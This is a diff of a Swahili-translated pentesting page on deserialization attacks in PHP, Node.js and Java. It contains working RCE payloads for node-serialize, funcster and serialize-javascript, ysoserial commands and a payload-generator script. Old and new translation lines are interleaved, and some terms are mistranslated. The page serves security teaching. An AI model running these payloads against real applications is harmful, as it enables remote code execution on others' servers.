Ikiangalia matokeo unaweza kuona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapodeserialized. Tafadhali kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi ya **`__toString`** inaitwa wakati unapojaribu kuchapisha sifa fulani, lakini inaonekana kwamba **haifanyiki tena**.
|
||||
Ikiangalia matokeo unaweza kuona kwamba kazi **`__wakeup`** na **`__destruct`** zinaitwa wakati kitu kinapodeserialized. Tafadhali kumbuka kwamba katika mafunzo kadhaa utaona kwamba kazi ya **`__toString`** inaitwa wakati unapojaribu kuchapisha sifa fulani, lakini inaonekana kwamba **hilo halifanyiki tena**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Mbinu ya **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imefanywa katika darasa. Inakuruhusu kudeserialize kitu kwa kutoa data iliyoserilishwa kama safu. Unaweza kutumia mbinu hii kudeserialize mali na kutekeleza kazi zozote muhimu wakati wa deserialization.
|
||||
Mbinu ya **`__unserialize(array $data)`** inaitwa **badala ya `__wakeup()`** ikiwa imefanywa katika darasa. Inaruhusu wewe kudeserialize kitu kwa kutoa data iliyodeserialized kama safu. Unaweza kutumia mbinu hii kudeserialize mali na kutekeleza kazi zozote muhimu wakati wa deserialization.
|
||||
```php
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
@ -102,19 +102,19 @@ $this->property = $data['property'];
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kusoma mfano wa **PHP ulioelezewa hapa**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hapa [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) au hapa [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Unaweza kusoma mfano wa PHP ulioelezwa **hapa**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), hapa [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) au hapa [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Unaweza kutumia vibaya utendaji wa kupakia moja kwa moja wa PHP ili kupakia faili za php za kupendelea na zaidi:
|
||||
Unaweza kutumia utendaji wa kupakia wa PHP kusoma faili za php za kupendelea na zaidi:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kufanya Thamani za Kumbukumbu Zilizorejelewa
|
||||
### Kurejelea Thamani zilizoseriwa
|
||||
|
||||
Ikiwa kwa sababu fulani unataka kusahihisha thamani kama **marejeleo kwa thamani nyingine iliyosahihishwa** unaweza:
|
||||
Ikiwa kwa sababu fulani unataka kuseri thamani kama **marejeleo kwa thamani nyingine iliyoseriwa** unaweza:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -129,14 +129,14 @@ $ser=serialize($o);
|
|||
```
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) inaweza kukusaidia kutengeneza mizigo ya kudanganya ili kutumia deserializations za PHP.\
|
||||
Tafadhali kumbuka kwamba katika visa kadhaa **hutaweza kupata njia ya kutumia deserialization katika msimbo wa chanzo** wa programu lakini unaweza **kutumia msimbo wa nyongeza za PHP za nje.**\
|
||||
Hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta kwenye mtandao** (na hata kwenye **vifaa** vya **PHPGGC**) baadhi ya vifaa vinavyowezekana unavyoweza kutumia.
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) inaweza kukusaidia kuunda mizigo ya kudanganya deserializations za PHP.\
|
||||
Tambua kwamba katika visa kadhaa **hutaweza kupata njia ya kudanganya deserialization katika msimbo wa chanzo** wa programu lakini unaweza **kudanganya msimbo wa nyongeza za PHP za nje.**\
|
||||
Kwa hivyo, ikiwa unaweza, angalia `phpinfo()` ya seva na **tafuta kwenye mtandao** (na hata kwenye **vifaa** vya **PHPGGC**) baadhi ya vifaa vinavyowezekana unavyoweza kudanganya.
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Ikiwa umepata LFI ambayo inasoma faili tu na sio kutekeleza msimbo wa php ndani yake, kwa mfano kutumia kazi kama _**file\_get\_contents(), fopen(), file() au file\_exists(), md5\_file(), filemtime() au filesize()**_**. Unaweza jaribu kutumia **deserialization** inayotokea wakati wa **kusoma** faili kwa kutumia itifaki ya **phar**.\
|
||||
Kwa maelezo zaidi soma chapisho lifuatalo:
|
||||
Ikiwa umepata LFI ambayo inasoma faili tu na sio kutekeleza msimbo wa php ndani yake, kwa mfano kutumia kazi kama _**file\_get\_contents(), fopen(), file() au file\_exists(), md5\_file(), filemtime() au filesize()**_**.** Unaweza jaribu kudanganya **deserialization** inayotokea wakati wa **kusoma** **faili** kwa kutumia itifaki ya **phar**.\
|
||||
Kwa habari zaidi soma chapisho lifuatalo:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||
|
@ -180,9 +180,9 @@ Ukurasa ufuatao unawasilisha mbinu ya **kutumia vibaya uhariri usio salama katik
|
|||
### JS Magic Functions
|
||||
|
||||
JS **haina "vifaa vya uchawi"** kama PHP au Python ambavyo vitatekelezwa tu kwa kujenga kitu. Lakini ina **vifaa** ambavyo mara nyingi hutumiwa hata bila kuita moja kwa moja kama vile **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Kwa kufanya uhariri wa uhariri unaweza **kuathiri vifaa hivi kutekeleza nambari nyingine** (kwa uwezekano wa kutumia uchafuzi wa protini) unaweza kutekeleza nambari ya aina yoyote unapotumiwa.
|
||||
Ukitumia uhariri unaweza **kuathiri vifaa hivi kutekeleza nambari nyingine** (kwa uwezekano wa kutumia uchafuzi wa protini) unaweza kutekeleza nambari ya aina yoyote wanapoitwa.
|
||||
|
||||
Njia nyingine ya **"uchawi" ya kuita kazi** bila kuita moja kwa moja ni kwa **kuathiri kitu kinachorudishwa na kazi ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** kitu hicho **kurudi** katika ahadi nyingine na **mali** iliyoitwa **"kisha" ya aina ya kazi**, itatekelezwa tu kwa sababu imerudishwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa habari zaidi._
|
||||
Njia nyingine ya **"uchawi" ya kuita kazi** bila kuita moja kwa moja ni kwa **kuathiri kitu kinachorudishwa na kazi ya async** (ahadi). Kwa sababu, ikiwa **unabadilisha** kitu hicho **kurudi** katika ahadi nyingine na **mali** iliyoitwa **"then" ya aina ya kazi**, itatekelezwa tu kwa sababu imerudishwa na ahadi nyingine. _Fuata_ [_**kiungo hiki**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _kwa habari zaidi._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -229,7 +229,7 @@ console.log("Serialized: \n" + payload_serialized);
|
|||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
Unaweza kuona katika mfano kwamba wakati kazi inapotiwa serialize bendera ya `_$$ND_FUNC$$_` inaongezwa kwenye kitu kilichoserilishwa.
|
||||
Unaweza kuona katika mfano kwamba wakati kazi inapotiwa mfululizo bendera ya `_$$ND_FUNC$$_` inaongezwa kwenye kitu kilichofanyiwa mfululizo.
|
||||
|
||||
Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera ile ile na jinsi nambari inavyoitumia.
|
||||
|
||||
|
@ -237,17 +237,17 @@ Ndani ya faili `node-serialize/lib/serialize.js` unaweza kupata bendera ile ile
|
|||
|
||||
![](<../../.gitbook/assets/image (446).png>)
|
||||
|
||||
Kama unavyoona katika kipande cha mwisho cha nambari, **ikiwa bendera inapatikana** `eval` hutumiwa kudesirialisha kazi, kwa hivyo kimsingi **matokeo ya mtumiaji yanatumika ndani ya kazi ya `eval`**.
|
||||
Kama unavyoweza kuona katika kipande cha mwisho cha nambari, **ikiwa bendera inapatikana** `eval` hutumiwa kufanya kazi ya kufanya kitu kilichofanyiwa mfululizo, kwa hivyo **kimsingi kuingia kwa mtumiaji inatumika ndani ya kazi ya `eval`**.
|
||||
|
||||
Hata hivyo, **kudesirialisha tu** kazi **haitaitekeleza** kama ingekuwa ni lazima sehemu fulani ya nambari iwe **inaita `y.rce`** katika mfano wetu na hiyo ni **isiyowezekana sana**.\
|
||||
Kwa njia yoyote, unaweza tu **kubadilisha kitu kilichoserilishwa** **kwa kuongeza baadhi ya mabano** ili kutekeleza kiotomatiki kazi iliyoserilishwa wakati kitu kimeserilishwa upya.\
|
||||
Katika kipande cha nambari kifuatacho **tambua mabano ya mwisho** na jinsi kazi ya `unserialize` itakavyotekeleza nambari:
|
||||
Hata hivyo, **kufanya mfululizo** wa kazi **haitatekelezwa** kama itakuwa muhimu kwamba sehemu fulani ya nambari inaita `y.rce` katika mfano wetu na hiyo ni **isiyowezekana sana**.\
|
||||
Kwa njia yoyote, unaweza tu **kurekebisha kitu kilichofanyiwa mfululizo** **kwa kuongeza baadhi ya mabano** ili kutekeleza kiotomatiki kazi iliyofanyiwa mfululizo wakati kitu kinapotenguliwa mfululizo.\
|
||||
Katika kipande cha nambari kinachofuata **tambua mabano ya mwisho** na jinsi kazi ya `unserialize` itakavyotekeleza nambari kiotomatiki:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Kama ilivyotangulia kutajwa, maktaba hii itapata nambari baada ya `_$$ND_FUNC$$_` na **kuitekeleza** kutumia `eval`. Kwa hivyo, ili **kitekeleze nambari moja kwa moja** unaweza **kufuta sehemu ya uundaji wa kazi** na mabano ya mwisho na **kuendesha JS kwa mstari mmoja** kama ilivyo katika mfano ufuatao:
|
||||
Kama ilivyotangulia kutajwa, maktaba hii itapata nambari baada ya `_$$ND_FUNC$$_` na ita **itekeleza** kutumia `eval`. Kwa hivyo, ili **kitekeleze nambari moja kwa moja** unaweza **kufuta sehemu ya uundaji wa kazi** na mabano ya mwisho na **kutekeleza JS oneliner** kama katika mfano ufuatao:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
|
@ -257,9 +257,9 @@ Unaweza [**kupata hapa**](https://opsecx.com/index.php/2017/02/08/exploiting-nod
|
|||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
Jambo la kuvutia kuhusu **funcster** ni upatikanaji usio wa **vitu vilivyojengwa kawaida**; viko nje ya wigo wa kufikiwa. Kizuizi hiki kinazuia utekelezaji wa namna ya kuita njia kwenye vitu vilivyojengwa, ikisababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumiwa.
|
||||
Kitu cha kuvutia kuhusu **funcster** ni kutokuwepo kwa **vitu vya kujengwa kawaida**; viko nje ya wigo wa kufikiwa. Kizuizi hiki kinazuia utekelezaji wa nambari inayojaribu kuita njia kwenye vitu vilivyojengwa kawaida, ikisababisha makosa kama `"ReferenceError: console is not defined"` wakati amri kama `console.log()` au `require(something)` zinapotumiwa.
|
||||
|
||||
Licha ya kikwazo hiki, kurejesha upatikanaji kamili wa muktadha wa ulimwengu, ikiwa ni pamoja na vitu vilivyojengwa kawaida, kunawezekana kupitia njia maalum. Kwa kutumia moja kwa moja muktadha wa ulimwengu, mtu anaweza kukiuka kizuizi hiki. Kwa mfano, upatikanaji unaweza kurejeshwa kutumia sehemu ifuatayo:
|
||||
Licha ya kizuizi hiki, kurejesha upatikanaji kamili wa muktadha wa ulimwengu, ikiwa ni pamoja na vitu vya kujengwa kawaida vyote, kunawezekana kupitia njia maalum. Kwa kutumia moja kwa moja muktadha wa ulimwengu, mtu anaweza kuepuka kizuizi hiki. Kwa mfano, upatikanaji unaweza kurejeshwa kutumia sehemu ifuatayo:
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
@ -274,17 +274,17 @@ funcster.deepDeserialize(desertest2)
|
|||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Kwa**[**taarifa zaidi soma chanzo hiki**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Kwa** [**mashauri zaidi soma chanzo hiki**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
Pakiti ya **serialize-javascript** imeundwa kwa ajili ya madhumuni ya uhuishaji pekee, ikikosa uwezo wowote wa kujijenga kwa deserialization. Watumiaji wanawajibika kutekeleza njia yao wenyewe ya deserialization. Matumizi moja kwa moja ya `eval` inapendekezwa na mfano rasmi kwa kufanya data iliyohuishwa:
|
||||
Kifurushi cha **serialize-javascript** kimeundwa kipekee kwa madhumuni ya ufuatiliaji, bila uwezo wowote wa kujijenga wa kufuatilia. Watumiaji wanawajibika kutekeleza njia yao wenyewe ya kufuatilia. Matumizi moja kwa moja ya `eval` inapendekezwa na mfano rasmi kwa kufuatilia data iliyofuatiliwa:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
}
|
||||
```
|
||||
Ikiwa kazi hii hutumiwa kwa kusahihisha vitu unaweza **kuitumia kwa urahisi**:
|
||||
Ikiwa kazi hii hutumiwa kwa kusakinisha vitu unaweza **kuitumia kwa urahisi**:
|
||||
```javascript
|
||||
var serialize = require('serialize-javascript');
|
||||
//Serialization
|
||||
|
@ -295,7 +295,7 @@ console.log(test) //function() { return "Hello world!" }
|
|||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Kwa**[**mambo zaidi soma chanzo hiki**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Kwa** [**mashine zaidi soma chanzo hiki**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Maktaba ya Cryo
|
||||
|
||||
|
@ -306,46 +306,46 @@ Kwenye kurasa zifuatazo unaweza kupata habari kuhusu jinsi ya kutumia maktaba hi
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
Katika Java, **wito wa deserialization hutekelezwa wakati wa mchakato wa deserialization**. Utekelezaji huu unaweza kutumiwa na wachomaji ambao hupanga mizigo ya kudhuru ambayo huchochea wito huu, ikisababisha utekelezaji wa hatua zenye madhara.
|
||||
Katika Java, **wito wa kurejesha nyuma wa deserialization unatekelezwa wakati wa mchakato wa deserialization**. Utekelezaji huu unaweza kutumiwa na wachomaji ambao hupanga mizigo ya kudhuru ambayo inachochea wito huu wa kurejesha nyuma, ikisababisha utekelezaji wa hatua zenye madhara.
|
||||
|
||||
### Alama za Vidole
|
||||
|
||||
#### Sanduku Jeusi
|
||||
|
||||
Ili kutambua uwezekano wa udhaifu wa serialization katika msingi wa kanuni, tafuta:
|
||||
Kutambua uwezekano wa udhaifu wa uhuishaji wa kificho tafuta:
|
||||
|
||||
* Darasa zinazotekeleza kiolesura cha `Serializable`.
|
||||
* Matumizi ya `java.io.ObjectInputStream`, `readObject`, `readUnshare` kazi.
|
||||
|
||||
Toa tahadhari maalum kwa:
|
||||
|
||||
* `XMLDecoder` iliyotumiwa na vigezo vilivyowekwa na watumiaji wa nje.
|
||||
* Mbinu ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni chini au sawa na 1.46, kwani inaweza kuwa na maswala ya serialization.
|
||||
* `ObjectInputStream` iliyounganishwa na mbinu ya `readObject`.
|
||||
* `XMLDecoder` iliyotumiwa na parameta zilizofafanuliwa na watumiaji wa nje.
|
||||
* Mbinu ya `fromXML` ya `XStream`, haswa ikiwa toleo la XStream ni sawa au chini ya 1.46, kwani inaweza kuwa na maswala ya uhuishaji.
|
||||
* `ObjectInputStream` pamoja na mbinu ya `readObject`.
|
||||
* Utekelezaji wa mbinu kama vile `readObject`, `readObjectNodData`, `readResolve`, au `readExternal`.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
* Matumizi ya jumla ya `Serializable`.
|
||||
|
||||
#### Sanduku Nyeusi
|
||||
#### Sanduku Jekundu
|
||||
|
||||
Kwa upimaji wa sanduku nyeusi, tafuta **sahihi maalum au "Magic Bytes"** ambayo inaashiria vitu vilivyoserilishwa vya Java (vinavyotoka kwa `ObjectInputStream`):
|
||||
Kwa upimaji wa sanduku jekundu, tafuta **sahihi maalum au "Herufi za Ajaabu"** zinazoashiria vitu vilivyohuishwa vya Java (vinavyotoka kwa `ObjectInputStream`):
|
||||
|
||||
* Mtindo wa Hexadecimal: `AC ED 00 05`.
|
||||
* Mtindo wa Base64: `rO0`.
|
||||
* Vichwa vya majibu ya HTTP vikiwa na `Content-type` imewekwa kama `application/x-java-serialized-object`.
|
||||
* Mtindo wa Hexadecimal unaonyesha ujazo wa awali: `1F 8B 08 00`.
|
||||
* Mtindo wa Base64 unaonyesha ujazo wa awali: `H4sIA`.
|
||||
* Faili za wavuti zenye kielezo cha `.faces` na marameteri ya `faces.ViewState`. Kugundua mifano hii katika programu ya wavuti inapaswa kuchochea uchunguzi kama ilivyoelezwa katika [chapisho kuhusu Deserialization ya Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
* Vichwa vya majibu ya HTTP na `Content-type` iliyowekwa kuwa `application/x-java-serialized-object`.
|
||||
* Mtindo wa Hexadecimal unaotaja ujazo wa awali: `1F 8B 08 00`.
|
||||
* Mtindo wa Base64 unaotaja ujazo wa awali: `H4sIA`.
|
||||
* Faili za wavuti zenye kielezo cha `.faces` na parameta ya `faces.ViewState`. Kugundua mifano hii katika programu ya wavuti inapaswa kuchochea uchunguzi kama ulivyoelezwa katika [chapisho kuhusu Deserialization ya ViewState ya Java JSF](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Angalia kama kuna udhaifu
|
||||
|
||||
Ikiwa unataka **kujifunza kuhusu jinsi shambulio la Deserialized la Java linavyofanya kazi** unapaswa kutazama [**Msingi wa Deserialization ya Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialization ya Java DNS**](java-dns-deserialization-and-gadgetprobe.md), na [**Malipo ya CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Ikiwa unataka **kujifunza kuhusu jinsi shambulio la Deserialized la Java linavyofanya kazi** unapaswa kutazama [**Deserialization ya Java ya Msingi**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialization ya Java ya DNS**](java-dns-deserialization-and-gadgetprobe.md), na [**Malipo ya CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Jaribio la White Box
|
||||
|
||||
Unaweza kuangalia ikiwa kuna programu yoyote iliyosakinishwa yenye udhaifu uliojulikana.
|
||||
Unaweza kuangalia ikiwa kuna programu iliyosakinishwa na udhaifu uliojulikana.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
|
@ -356,28 +356,28 @@ Unapokuwa unatumia **gadgetinspector** (baada ya kuujenga) usijali juu ya onyo/m
|
|||
|
||||
#### Jaribio la Sanduku Jeusi
|
||||
|
||||
Kwa kutumia kifaa cha Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) unaweza kutambua **maktaba zipi zinapatikana** (na hata toleo). Kwa habari hii inaweza kuwa **rahisi kuchagua mzigo** wa kutumia kwa shambulio la mapungufu.\
|
||||
Kwa kutumia kifaa cha Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) unaweza kutambua **maktaba zipi zinapatikana** (na hata toleo). Kwa habari hii inaweza kuwa **rahisi kuchagua mzigo** wa kutumia kwa shambulio.\
|
||||
[Soma hii kujifunza zaidi kuhusu GadgetProbe](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe inazingatia **`ObjectInputStream` deserializations**.
|
||||
GadgetProbe inazingatia **deserializations za `ObjectInputStream`**.
|
||||
|
||||
Kwa kutumia kifaa cha Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) unaweza **kutambua maktaba zenye mapungufu** yanayoweza kutumiwa na ysoserial na **kuzitumia**.\
|
||||
[Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner.](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner inazingatia **`ObjectInputStream`** deserializations.
|
||||
Java Deserialization Scanner inazingatia **deserializations za `ObjectInputStream`**.
|
||||
|
||||
Unaweza pia kutumia [**Freddy**](https://github.com/nccgroup/freddy) kutambua mapungufu ya **deserializations** katika **Burp**. Programu-jalizi hii itagundua mapungufu siyo tu yanayohusiana na **`ObjectInputStream`** bali pia mapungufu kutoka maktaba za deserializations za **Json** na **Yml**. Kwa hali ya kazi, itajaribu kuthibitisha kwa kutumia mzigo wa kulala au DNS.\
|
||||
[Pata habari zaidi kuhusu Freddy hapa.](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Jaribio la Ufananisho**
|
||||
**Jaribio la Ufufuaji**
|
||||
|
||||
Si kila kitu ni kuhusu kuangalia kama maktaba yoyote yenye mapungufu inatumika kwenye seva. Mara nyingine unaweza **kubadilisha data ndani ya kitu kilichofanyiwa ufasiri na kupita baadhi ya ukaguzi** (labda kukupa mamlaka ya msimamizi ndani ya programu-jalizi ya wavuti).\
|
||||
Ikiwa unapata kitu kilichofanyiwa ufasiri wa Java kinachotumwa kwenye programu-jalizi ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuchapisha kwa muundo unaoweza kusomwa na binadamu zaidi kitu kilichofanyiwa ufasiri kinachotumwa**. Kujua data unayotuma itakuwa rahisi kuihariri na kupita baadhi ya ukaguzi.
|
||||
Si kila kitu ni kuhusu kuangalia kama maktaba yoyote inayoweza kuwa na mapungufu inatumika na seva. Mara nyingine unaweza **kubadilisha data ndani ya kitu kilichoseriwa na kuepuka baadhi ya ukaguzi** (labda kukupa mamlaka ya msimamizi ndani ya programu-jalizi ya wavuti).\
|
||||
Ikiwa unapata kitu kilichoseriwa cha Java kinachotumwa kwa programu-jalizi ya wavuti, **unaweza kutumia** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kuchapisha muundo wa kibinadamu zaidi wa kitu kilichoseriwa kinachotumwa**. Kujua data unayotuma itakuwa rahisi kuihariri na kuepuka baadhi ya ukaguzi.
|
||||
|
||||
### **Shambulio**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Zana kuu ya kutumia ufasiri wa Java ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na mabomba).\
|
||||
Tafadhali kumbuka kuwa zana hii inazingatia kwa kutekeleza shambulio kwenye **`ObjectInputStream`**.\
|
||||
Zana kuu ya kutumia deserializations za Java ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na mabomba).\
|
||||
Tafadhali kumbuka kuwa zana hii inazingatia kwa kiasi kikubwa kwenye kudanganya **`ObjectInputStream`**.\
|
||||
Ningeanza kutumia mzigo wa "URLDNS" **kabla ya mzigo wa RCE** kujaribu kama uingizaji ni wa kufanikiwa. Hata hivyo, kumbuka kwamba labda mzigo wa "URLDNS" haifanyi kazi lakini mzigo mwingine wa RCE unafanya kazi.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
|
@ -423,9 +423,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Upon creating a payload for **java.lang.Runtime.exec()** unaweza **kutumia herufi maalum** kama vile ">" au "|" kwa kusudi la kurekebisha matokeo ya utekelezaji, "$()" kwa kutekeleza amri au hata **kupeleka vigezo** kwa amri iliyotenganishwa na **nafasi** (unaweza kutumia `echo -n "hello world"` lakini huwezi kutumia `python2 -c 'print "Hello world"'`). Ili kuweza kuweka kwa usahihi payload unaweza [kutumia ukurasa huu wa wavuti](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Upon creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Jisikie huru kutumia hati ifuatayo kuunda **mizigo yote inayowezekana ya utekelezaji wa nambari** kwa Windows na Linux kisha kuzipima kwenye ukurasa wa wavuti ulio hatarini:
|
||||
Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
|
@ -446,14 +446,14 @@ open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
#### vifaa vya kuzuia serialkiller
|
||||
|
||||
Unaweza **kutumia** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda mizozo zaidi**. Taarifa zaidi kuhusu chombo hiki zinapatikana katika **slaidi za mazungumzo** ambapo chombo kilipokuwa kikionyeshwa: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
Unaweza **kutumia** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **pamoja na ysoserial kuunda mabao zaidi**. Taarifa zaidi kuhusu chombo hiki zinapatikana kwenye **slaidi za mazungumzo** ambapo chombo kilipowasilishwa: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)inaweza kutumika kuunda mizigo ya kudanganya kutumia maktaba tofauti za uhuishaji wa **Json** na **Yml** katika Java.\
|
||||
Ili kutekeleza mradi huo nilihitaji **kuongeza** hizi **tegemezi** kwa `pom.xml`:
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) inaweza kutumika kuzalisha mzigo wa kudanganya kutumia maktaba tofauti za uhuishaji wa **Json** na **Yml** kwenye Java.\
|
||||
Ili kutekeleza mradi huo nilihitaji **kuongeza** hizi **tegemezi** kwenye `pom.xml`:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
@ -488,7 +488,7 @@ Java hutumia uhuishaji kwa madhumuni mbalimbali kama vile:
|
|||
|
||||
* **Maombi ya HTTP**: Uhuishaji unatumika sana katika usimamizi wa vigezo, ViewState, vidakuzi, n.k.
|
||||
* **RMI (Remote Method Invocation)**: Itifaki ya Java RMI, ambayo inategemea kabisa uhuishaji, ni msingi wa mawasiliano ya mbali katika maombi ya Java.
|
||||
